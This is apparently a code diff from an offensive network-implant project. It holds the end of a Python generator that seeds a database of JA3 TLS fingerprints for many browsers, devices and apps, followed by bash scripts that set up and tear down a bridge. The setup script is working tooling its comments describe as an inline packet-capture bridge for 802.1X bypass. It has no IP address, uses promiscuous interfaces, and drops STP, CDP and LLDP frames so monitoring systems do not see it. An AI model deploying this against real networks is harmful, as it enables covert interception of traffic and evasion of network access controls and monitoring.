json.dumps(SAFARI_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_iot_embedded_profiles() -> list[tuple]:
|
||||
"""Generate IoT and embedded client profiles."""
|
||||
profiles = []
|
||||
|
||||
# ESP32 (mbedTLS-based)
|
||||
ESP32_CIPHERS = [0xc02c, 0xc02b, 0x009d, 0x009c, 0x0035, 0x002f]
|
||||
ESP32_EXT = [0, 10, 11, 13, 23, 65281]
|
||||
ESP32_CURVES = [23, 24]
|
||||
for sdk_ver in ["4.4", "5.0", "5.1", "5.2"]:
|
||||
ja3_hash = compute_ja3(771, ESP32_CIPHERS, ESP32_EXT, ESP32_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"esp32_idf_{sdk_ver.replace('.', '_')}"
|
||||
desc = f"ESP-IDF {sdk_ver} (ESP32)"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ESP32_CIPHERS), json.dumps(ESP32_EXT),
|
||||
json.dumps(ESP32_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# AWS IoT SDK (OpenSSL-based)
|
||||
AWS_IOT_CIPHERS = [0x1301, 0x1302, 0x1303, 0xc02c, 0xc02b, 0xc030, 0xc02f, 0x009d, 0x009c, 0x0035, 0x002f]
|
||||
AWS_IOT_EXT = [0, 10, 11, 13, 16, 23, 43, 45, 51, 65281]
|
||||
for sdk_ver in ["1.0", "1.1", "2.0"]:
|
||||
ja3_hash = compute_ja3(771, AWS_IOT_CIPHERS, AWS_IOT_EXT, OPENSSL_CURVES, EC_FORMATS_STANDARD)
|
||||
name = f"aws_iot_sdk_{sdk_ver.replace('.', '_')}"
|
||||
desc = f"AWS IoT Device SDK {sdk_ver}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(AWS_IOT_CIPHERS), json.dumps(AWS_IOT_EXT),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
# Azure IoT SDK
|
||||
AZURE_IOT_CIPHERS = OPENSSL_3_CIPHERS
|
||||
for sdk_ver in ["1.10", "1.11", "1.12"]:
|
||||
ja3_hash = compute_ja3(771, AZURE_IOT_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
|
||||
name = f"azure_iot_sdk_{sdk_ver.replace('.', '_')}"
|
||||
desc = f"Azure IoT SDK {sdk_ver}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(AZURE_IOT_CIPHERS), json.dumps(OPENSSL_3_EXT),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
|
||||
))
|
||||
|
||||
# Smart home devices (various embedded TLS stacks)
|
||||
SMART_HOME_CIPHERS = [0xc02c, 0xc02b, 0xc030, 0xc02f, 0x009d, 0x009c, 0x0035, 0x002f]
|
||||
SMART_HOME_EXT = [0, 10, 11, 13, 23, 65281]
|
||||
for device in ["ring_doorbell", "nest_cam", "hue_bridge", "echo_dot",
|
||||
"google_home", "sonos_one", "roku_ultra", "apple_tv",
|
||||
"fire_tv", "nvidia_shield"]:
|
||||
ja3_hash = compute_ja3(771, SMART_HOME_CIPHERS, SMART_HOME_EXT, [23, 24], EC_FORMATS_STANDARD)
|
||||
name = f"iot_{device}"
|
||||
desc = f"IoT: {device.replace('_', ' ').title()}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(SMART_HOME_CIPHERS), json.dumps(SMART_HOME_EXT),
|
||||
json.dumps([23, 24]), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_chromeos_profiles() -> list[tuple]:
|
||||
"""Generate ChromeOS profiles."""
|
||||
profiles = []
|
||||
for ver in range(110, 125):
|
||||
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 120 else CHROMIUM_CIPHERS_V1
|
||||
ext = CHROME_EXT_V2 if ver >= 120 else CHROME_EXT_V1
|
||||
curves = CHROME_CURVES_PQ if ver >= 122 else CHROME_CURVES
|
||||
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
|
||||
name = f"chromeos_{ver}"
|
||||
desc = f"ChromeOS {ver}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_vivaldi_profiles() -> list[tuple]:
|
||||
"""Generate Vivaldi profiles (Chromium-based)."""
|
||||
profiles = []
|
||||
for ver in range(5, 7):
|
||||
for minor in range(0, 10):
|
||||
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 6 and minor >= 5 else CHROMIUM_CIPHERS_V1
|
||||
ext = CHROME_EXT_V1
|
||||
curves = CHROME_CURVES
|
||||
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
|
||||
name = f"vivaldi_{ver}_{minor}_win"
|
||||
desc = f"Vivaldi {ver}.{minor} on Windows"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_vpn_client_profiles() -> list[tuple]:
|
||||
"""Generate VPN client TLS profiles."""
|
||||
profiles = []
|
||||
|
||||
# Cisco AnyConnect (OpenSSL-based)
|
||||
for ver in ["4.10", "5.0", "5.1"]:
|
||||
ja3_hash = compute_ja3(771, OPENSSL_3_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
|
||||
name = f"cisco_anyconnect_{ver.replace('.', '_')}"
|
||||
desc = f"Cisco AnyConnect {ver}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(OPENSSL_3_CIPHERS), json.dumps(OPENSSL_3_EXT),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
|
||||
))
|
||||
|
||||
# GlobalProtect (OpenSSL)
|
||||
for ver in ["5.3", "6.0", "6.1", "6.2"]:
|
||||
ja3_hash = compute_ja3(771, OPENSSL_3_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
|
||||
name = f"globalprotect_{ver.replace('.', '_')}"
|
||||
desc = f"Palo Alto GlobalProtect {ver}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(OPENSSL_3_CIPHERS), json.dumps(OPENSSL_3_EXT),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
|
||||
))
|
||||
|
||||
# OpenVPN (OpenSSL)
|
||||
for ver in ["2.5", "2.6"]:
|
||||
ja3_hash = compute_ja3(771, OPENSSL_3_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
|
||||
name = f"openvpn_{ver.replace('.', '_')}"
|
||||
desc = f"OpenVPN {ver}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(OPENSSL_3_CIPHERS), json.dumps(OPENSSL_3_EXT),
|
||||
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
|
||||
))
|
||||
|
||||
# Cloudflare WARP
|
||||
WARP_CIPHERS = [0x1301, 0x1302, 0x1303, 0xc02b, 0xc02f, 0xc02c, 0xc030, 0xcca9, 0xcca8]
|
||||
WARP_EXT = [0, 10, 11, 13, 16, 23, 43, 45, 51, 65281]
|
||||
ja3_hash = compute_ja3(771, WARP_CIPHERS, WARP_EXT, [29, 23, 24], EC_FORMATS_STANDARD)
|
||||
profiles.append((
|
||||
"cloudflare_warp", ja3_hash, "Cloudflare WARP (BoringSSL)",
|
||||
json.dumps(WARP_CIPHERS), json.dumps(WARP_EXT),
|
||||
json.dumps([29, 23, 24]), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def _gen_electron_profiles() -> list[tuple]:
|
||||
"""Generate Electron app profiles (Chromium-based)."""
|
||||
profiles = []
|
||||
apps = [
|
||||
("vscode", "VS Code"), ("slack", "Slack"), ("discord", "Discord"),
|
||||
("teams", "Microsoft Teams"), ("signal_desktop", "Signal Desktop"),
|
||||
("spotify", "Spotify Desktop"), ("figma", "Figma Desktop"),
|
||||
("notion", "Notion"), ("obsidian", "Obsidian"),
|
||||
("1password", "1Password"), ("bitwarden", "Bitwarden"),
|
||||
("postman", "Postman"), ("whatsapp_desktop", "WhatsApp Desktop"),
|
||||
]
|
||||
|
||||
for app_id, app_name in apps:
|
||||
# Electron uses Chromium's TLS stack
|
||||
ciphers = CHROMIUM_CIPHERS_V2
|
||||
ext = CHROME_EXT_V2
|
||||
curves = CHROME_CURVES
|
||||
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
|
||||
name = f"electron_{app_id}"
|
||||
desc = f"Electron: {app_name}"
|
||||
profiles.append((
|
||||
name, ja3_hash, desc,
|
||||
json.dumps(ciphers), json.dumps(ext),
|
||||
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
|
||||
))
|
||||
|
||||
return profiles
|
||||
|
||||
|
||||
def generate_all_profiles() -> list[tuple]:
|
||||
"""Generate all JA3 profiles. Returns list of (name, hash, desc, ciphers, ext, curves, formats)."""
|
||||
all_profiles = []
|
||||
all_profiles.extend(_gen_chrome_profiles())
|
||||
all_profiles.extend(_gen_firefox_profiles())
|
||||
all_profiles.extend(_gen_edge_profiles())
|
||||
all_profiles.extend(_gen_safari_profiles())
|
||||
all_profiles.extend(_gen_opera_profiles())
|
||||
all_profiles.extend(_gen_brave_profiles())
|
||||
all_profiles.extend(_gen_tor_profiles())
|
||||
all_profiles.extend(_gen_library_profiles())
|
||||
all_profiles.extend(_gen_tool_profiles())
|
||||
all_profiles.extend(_gen_mobile_profiles())
|
||||
all_profiles.extend(_gen_iot_embedded_profiles())
|
||||
all_profiles.extend(_gen_chromeos_profiles())
|
||||
all_profiles.extend(_gen_vivaldi_profiles())
|
||||
all_profiles.extend(_gen_vpn_client_profiles())
|
||||
all_profiles.extend(_gen_electron_profiles())
|
||||
|
||||
# Deduplicate by name
|
||||
seen = set()
|
||||
unique = []
|
||||
for p in all_profiles:
|
||||
if p[0] not in seen:
|
||||
seen.add(p[0])
|
||||
unique.append(p)
|
||||
|
||||
return unique
|
||||
|
||||
|
||||
def seed_ja3_db(db_path: str) -> int:
|
||||
"""Seed a ja3_fingerprints.db with all generated profiles.
|
||||
|
||||
Returns the total number of profiles in the database.
|
||||
"""
|
||||
profiles = generate_all_profiles()
|
||||
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS ja3_profiles (
|
||||
name TEXT PRIMARY KEY,
|
||||
ja3_hash TEXT NOT NULL,
|
||||
description TEXT DEFAULT '',
|
||||
cipher_suites TEXT NOT NULL DEFAULT '[]',
|
||||
extensions TEXT NOT NULL DEFAULT '[]',
|
||||
elliptic_curves TEXT NOT NULL DEFAULT '[]',
|
||||
ec_point_formats TEXT NOT NULL DEFAULT '[0]'
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_ja3_hash ON ja3_profiles(ja3_hash);
|
||||
""")
|
||||
|
||||
conn.executemany(
|
||||
"INSERT OR REPLACE INTO ja3_profiles "
|
||||
"(name, ja3_hash, description, cipher_suites, extensions, elliptic_curves, ec_point_formats) "
|
||||
"VALUES (?, ?, ?, ?, ?, ?, ?)",
|
||||
profiles,
|
||||
)
|
||||
conn.commit()
|
||||
count = conn.execute("SELECT COUNT(*) FROM ja3_profiles").fetchone()[0]
|
||||
conn.close()
|
||||
return count
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
if len(sys.argv) > 1:
|
||||
db_path = sys.argv[1]
|
||||
else:
|
||||
db_path = str(Path(__file__).resolve().parent.parent / "data" / "ja3_fingerprints.db")
|
||||
|
||||
count = seed_ja3_db(db_path)
|
||||
print(f"Seeded {count} JA3 profiles to {db_path}")
|
||||
Executable
+142
@@ -0,0 +1,142 @@
|
||||
#!/usr/bin/env bash
|
||||
# Create transparent bridge between two interfaces
|
||||
# Usage: setup_bridge.sh <if1> <if2>
|
||||
# No IP assigned — invisible on network
|
||||
#
|
||||
# This script creates a Layer 2 bridge for inline packet capture and
|
||||
# 802.1X bypass. The bridge has NO IP address, making it undetectable
|
||||
# via network scanning. STP/BPDU/CDP/LLDP frames are suppressed via
|
||||
# ebtables to avoid triggering network monitoring systems.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
BRIDGE="br0"
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Validate arguments
|
||||
# --------------------------------------------------------------------------
|
||||
if [[ $# -ne 2 ]]; then
|
||||
echo "Usage: $0 <interface1> <interface2>" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
IF1="$1"
|
||||
IF2="$2"
|
||||
|
||||
# Verify interfaces exist
|
||||
for iface in "$IF1" "$IF2"; do
|
||||
if ! ip link show "$iface" &>/dev/null; then
|
||||
echo "Error: interface $iface does not exist" >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Cleanup any existing bridge
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
echo "Removing existing bridge $BRIDGE"
|
||||
ip link set down dev "$BRIDGE" 2>/dev/null || true
|
||||
ip link del "$BRIDGE" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Create bridge
|
||||
# --------------------------------------------------------------------------
|
||||
echo "Creating bridge $BRIDGE: $IF1 <-> $IF2"
|
||||
|
||||
# Create the bridge device
|
||||
ip link add name "$BRIDGE" type bridge
|
||||
|
||||
# Disable Spanning Tree Protocol
|
||||
ip link set "$BRIDGE" type bridge stp_state 0
|
||||
|
||||
# Zero forwarding delay — start forwarding immediately
|
||||
ip link set "$BRIDGE" type bridge forward_delay 0
|
||||
|
||||
# Disable ageing to keep all MACs in forwarding table
|
||||
ip link set "$BRIDGE" type bridge ageing_time 0
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Configure interfaces
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# Flush any existing IP addresses — bridge must have no L3 presence
|
||||
ip addr flush dev "$IF1" 2>/dev/null || true
|
||||
ip addr flush dev "$IF2" 2>/dev/null || true
|
||||
|
||||
# Set promiscuous mode — capture all frames
|
||||
ip link set "$IF1" promisc on
|
||||
ip link set "$IF2" promisc on
|
||||
|
||||
# Disable multicast snooping (avoid IGMP interference)
|
||||
echo 0 > /sys/devices/virtual/net/"$BRIDGE"/bridge/multicast_snooping 2>/dev/null || true
|
||||
|
||||
# Add interfaces to bridge
|
||||
ip link set "$IF1" master "$BRIDGE"
|
||||
ip link set "$IF2" master "$BRIDGE"
|
||||
|
||||
# Bring everything up
|
||||
ip link set up dev "$IF1"
|
||||
ip link set up dev "$IF2"
|
||||
ip link set up dev "$BRIDGE"
|
||||
|
||||
# Ensure bridge has NO IP address
|
||||
ip addr flush dev "$BRIDGE" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# ebtables rules — suppress discovery protocols
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# Check if ebtables is available
|
||||
if command -v ebtables &>/dev/null; then
|
||||
echo "Applying ebtables suppression rules"
|
||||
|
||||
# Flush existing rules
|
||||
ebtables -F 2>/dev/null || true
|
||||
|
||||
# STP/BPDU — 01:80:C2:00:00:00
|
||||
ebtables -A FORWARD -d 01:80:C2:00:00:00 -j DROP
|
||||
ebtables -A OUTPUT -d 01:80:C2:00:00:00 -j DROP
|
||||
|
||||
# CDP/VTP — 01:00:0C:CC:CC:CC
|
||||
ebtables -A FORWARD -d 01:00:0C:CC:CC:CC -j DROP
|
||||
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CC -j DROP
|
||||
|
||||
# LLDP — 01:80:C2:00:00:0E
|
||||
ebtables -A FORWARD -d 01:80:C2:00:00:0E -j DROP
|
||||
ebtables -A OUTPUT -d 01:80:C2:00:00:0E -j DROP
|
||||
|
||||
# Cisco PVST+ — 01:00:0C:CC:CC:CD
|
||||
ebtables -A FORWARD -d 01:00:0C:CC:CC:CD -j DROP
|
||||
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CD -j DROP
|
||||
|
||||
# LLDP alternate — 01:80:C2:00:00:03
|
||||
ebtables -A FORWARD -d 01:80:C2:00:00:03 -j DROP
|
||||
ebtables -A OUTPUT -d 01:80:C2:00:00:03 -j DROP
|
||||
|
||||
# 802.1X EAP passthrough — allow EAP frames across the bridge
|
||||
# (default FORWARD policy is ACCEPT, so EAP frames pass unless
|
||||
# we explicitly blocked them above — we only block management protos)
|
||||
else
|
||||
echo "Warning: ebtables not installed — protocol suppression skipped" >&2
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Disable IPv6 on bridge (prevent RA/NS/NA leakage)
|
||||
# --------------------------------------------------------------------------
|
||||
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=1" 2>/dev/null || true
|
||||
sysctl -qw "net.ipv6.conf.${IF1}.disable_ipv6=1" 2>/dev/null || true
|
||||
sysctl -qw "net.ipv6.conf.${IF2}.disable_ipv6=1" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Verify bridge is active
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" | grep -q "state UP"; then
|
||||
echo "Bridge $BRIDGE is UP: $IF1 <-> $IF2 (no IP, STP disabled)"
|
||||
bridge link show
|
||||
exit 0
|
||||
else
|
||||
echo "Error: bridge $BRIDGE failed to come up" >&2
|
||||
exit 1
|
||||
fi
|
||||
Executable
+85
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env bash
|
||||
# Teardown bridge and restore interfaces
|
||||
#
|
||||
# Removes the transparent bridge, flushes ebtables rules, and restores
|
||||
# the original interface state. Safe to call even if the bridge is
|
||||
# already down or partially broken.
|
||||
|
||||
set -uo pipefail
|
||||
# Note: no -e — we want all cleanup steps to run even if some fail
|
||||
|
||||
BRIDGE="br0"
|
||||
|
||||
echo "Tearing down bridge $BRIDGE"
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Identify bridge members before removal
|
||||
# --------------------------------------------------------------------------
|
||||
MEMBERS=()
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
while IFS= read -r line; do
|
||||
iface=$(echo "$line" | awk '{print $2}' | tr -d ':')
|
||||
if [[ -n "$iface" ]]; then
|
||||
MEMBERS+=("$iface")
|
||||
fi
|
||||
done < <(bridge link show master "$BRIDGE" 2>/dev/null | grep -oP '^\d+:\s+\K\S+')
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Remove ebtables rules
|
||||
# --------------------------------------------------------------------------
|
||||
if command -v ebtables &>/dev/null; then
|
||||
echo "Flushing ebtables rules"
|
||||
ebtables -F 2>/dev/null || true
|
||||
ebtables -X 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Bring bridge down
|
||||
# --------------------------------------------------------------------------
|
||||
ip link set down dev "$BRIDGE" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Remove interfaces from bridge and restore state
|
||||
# --------------------------------------------------------------------------
|
||||
for iface in "${MEMBERS[@]}"; do
|
||||
echo "Restoring interface: $iface"
|
||||
|
||||
# Remove from bridge
|
||||
ip link set "$iface" nomaster 2>/dev/null || true
|
||||
|
||||
# Disable promiscuous mode
|
||||
ip link set "$iface" promisc off 2>/dev/null || true
|
||||
|
||||
# Re-enable IPv6
|
||||
sysctl -qw "net.ipv6.conf.${iface}.disable_ipv6=0" 2>/dev/null || true
|
||||
|
||||
# Bring interface up (in case it was downed)
|
||||
ip link set up dev "$iface" 2>/dev/null || true
|
||||
done
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Delete bridge device
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
ip link del "$BRIDGE" 2>/dev/null || true
|
||||
echo "Bridge $BRIDGE deleted"
|
||||
else
|
||||
echo "Bridge $BRIDGE already removed"
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Re-enable IPv6 globally on bridge name (cleanup)
|
||||
# --------------------------------------------------------------------------
|
||||
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=0" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Verify cleanup
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
echo "Warning: bridge $BRIDGE still exists after teardown" >&2
|
||||
exit 1
|
||||
else
|
||||
echo "Bridge teardown complete"
|
||||
exit 0
|
||||
fi
|
||||
Reference in New Issue
Block a user